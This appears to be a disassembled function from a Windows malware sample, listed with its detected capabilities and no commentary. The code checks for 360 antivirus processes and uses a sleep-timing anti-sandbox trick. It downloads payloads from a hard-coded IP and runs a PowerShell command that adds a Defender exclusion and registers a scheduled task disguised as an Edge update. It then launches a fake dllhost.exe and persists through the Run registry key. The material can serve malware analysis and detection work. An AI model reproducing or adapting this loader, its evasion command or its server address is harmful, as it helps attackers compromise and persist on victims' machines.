Function at 0x40163d
Capabilities:
Create process on windows
Create process suspended
Delete file
Initialize winhttp library
Persist via run registry key
Prepare http request
Receive http response
Schedule task via schtasks
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x1570
call fcn.004034c0
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00402cd0
lea rcx, str.360Tray.exe
call fcn.00401522
mov dword [rbp + 0x14dc], eax
lea rcx, str.360Safa.exe
call fcn.00401522
mov dword [rbp + 0x14d8], eax
cmp dword [rbp + 0x14dc], 0
jne 0x401690
cmp dword [rbp + 0x14d8], 0
je 0x40169a
mov eax, 0
jmp 0x401e87
lea rax, [rbp + 0x1490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [rbp + 0x1480]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemTime]
call rax
movzx eax, word [rbp + 0x149c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x149e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x14d0], rax
movzx eax, word [rbp + 0x148c]
movzx eax, ax
imul rdx, rax, 0x3e8
movzx eax, word [rbp + 0x148e]
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x14c8], rax
mov rax, qword [rbp + 0x14d0]
mov rdx, qword [rbp + 0x14c8]
sub rdx, rax
mov rax, rdx
mov qword [rbp + 0x14c0], rax
cmp qword [rbp + 0x14c0], 0x1387
jbe 0x40174d
cmp qword [rbp + 0x14c0], 0x157c
jbe 0x401757
mov eax, 1
jmp 0x401e87
mov qword [rbp + 0x14b8], 0
mov qword [rbp + 0x14e8], 0
mov qword [rbp + 0x14e0], 0
mov dword [rbp + 0x14b4], 0
mov dword [rbp + 0x147c], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call sub.WINHTTP.dll_WinHttpOpen
mov qword [rbp + 0x14b8], rax
cmp qword [rbp + 0x14b8], 0
je 0x401c6d
mov rax, qword [rbp + 0x14b8]
mov r9d, 0
mov r8d, 0x50
lea rdx, str.45.144.136.129
mov rcx, rax
call sub.WINHTTP.dll_WinHttpConnect
mov qword [rbp + 0x14e8], rax
cmp qword [rbp + 0x14e8], 0
je 0x401c6d
mov rax, qword [rbp + 0x14e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str._103.ecc
lea rdx, [0x0040508c]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x14e0], rax
cmp qword [rbp + 0x14e0], 0
je 0x401c6d
mov rax, qword [rbp + 0x14e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401c6d
mov rax, qword [rbp + 0x14e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401c6d
lea rax, [rbp + 0x1270]
lea rdx, [0x00405098]
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x1270]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0xffffffffffffffff
je 0x401c18
mov dword [rbp + 0xfd4], 0
lea rcx, [rbp + 0xfd4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x4019f3
mov eax, dword [rbp + 0xfd4]
test eax, eax
je 0x4019f3
mov ecx, dword [rbp + 0xfd4]
lea r8, [rbp + 0x147c]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14a8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x4019c6
mov edx, dword [rbp + 0x147c]
mov eax, dword [rbp + 0xfd4]
cmp edx, eax
je 0x4019ee
mov rax, qword [rbp + 0x14a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x4019f3
jmp 0x401934
mov rax, qword [rbp + 0x14a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov rax, qword [rbp + 0x14e8]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.jh.xml
lea rdx, [0x0040508c]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpOpenRequest
mov qword [rbp + 0x14e0], rax
cmp qword [rbp + 0x14e0], 0
je 0x401c16
mov rax, qword [rbp + 0x14e0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpSendRequest
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401c16
mov rax, qword [rbp + 0x14e0]
mov edx, 0
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReceiveResponse
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401c16
lea rax, [rbp + 0x1270]
lea rdx, str.C:UsersPublicjh.xml
mov rcx, rax
call sub.msvcrt.dll_wcscpy
lea rax, [rbp + 0x1270]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x82
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0xffffffffffffffff
je 0x401c16
lea rcx, [rbp + 0xfd4]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14e0]
mov r9, rcx
mov r8d, 0x1000
mov rcx, rax
call sub.WINHTTP.dll_WinHttpReadData
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401c01
mov eax, dword [rbp + 0xfd4]
test eax, eax
je 0x401c01
mov ecx, dword [rbp + 0xfd4]
lea r8, [rbp + 0x147c]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x14a8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov dword [rbp + 0x14b4], eax
cmp dword [rbp + 0x14b4], 0
je 0x401bd4
mov edx, dword [rbp + 0x147c]
mov eax, dword [rbp + 0xfd4]
cmp edx, eax
je 0x401bfc
mov rax, qword [rbp + 0x14a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp + 0x1270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
jmp 0x401c01
jmp 0x401b42
mov rax, qword [rbp + 0x14a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x401c6d
jmp 0x401c6d
cmp qword [rbp + 0x14e0], 0
je 0x401c31
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14e8], 0
je 0x401c4a
mov rax, qword [rbp + 0x14e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14b8], 0
je 0x401c63
mov rax, qword [rbp + 0x14b8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
mov eax, 1
jmp 0x401e87
cmp qword [rbp + 0x14e0], 0
je 0x401c86
mov rax, qword [rbp + 0x14e0]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14e8], 0
je 0x401c9f
mov rax, qword [rbp + 0x14e8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
cmp qword [rbp + 0x14b8], 0
je 0x401cb8
mov rax, qword [rbp + 0x14b8]
mov rcx, rax
call sub.WINHTTP.dll_WinHttpCloseHandle
lea rax, [rbp + 0x1200]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp + 0x1200], 0x68
lea rax, [rbp + 0x11e0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
lea rax, [rbp + 0xfe0]
mov rdx, rax
lea rax, str.powershell.exe__NoProfile__Command__Add_MpPreference__ExclusionPath_C:UsersPublic___xmlContent__Get_Content__Path_C:UsersPublicjh.xml__Raw__Register_ScheduledTask__Xml__xmlContent__TaskName_MicrosoftEdgeUpdateTaskUserS_1_5_21_4220318521_1419758426_78524122_1000Core680DECD5_5011_4D3F_949A_4D7BAA279AC3_
mov ecx, 0x27
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
add rdx, 4
add rax, 4
movzx ecx, byte [rax]
mov byte [rdx], cl
add rdx, 1
add rax, 1
lea rax, [rbp + 0xfe0]
lea rdx, [rbp + 0x11e0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1200]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov rax, qword [rbp + 0x11e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x11e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x0040524d]
lea r8, str.C:UsersPublicdllhost.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.C:UsersPublicdllhost.exe
mov qword [rbp + 0x14a0], rax
lea rax, [rbp + 0xfd8]
mov qword [rsp + 0x20], rax
mov r9d, 2
mov r8d, 0
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp + 0x14a0]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea edx, [rax + 1]
mov rax, qword [rbp + 0xfd8]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x14a0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.MyProgram
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x1570
pop rsi
pop rdi
pop rbp
ret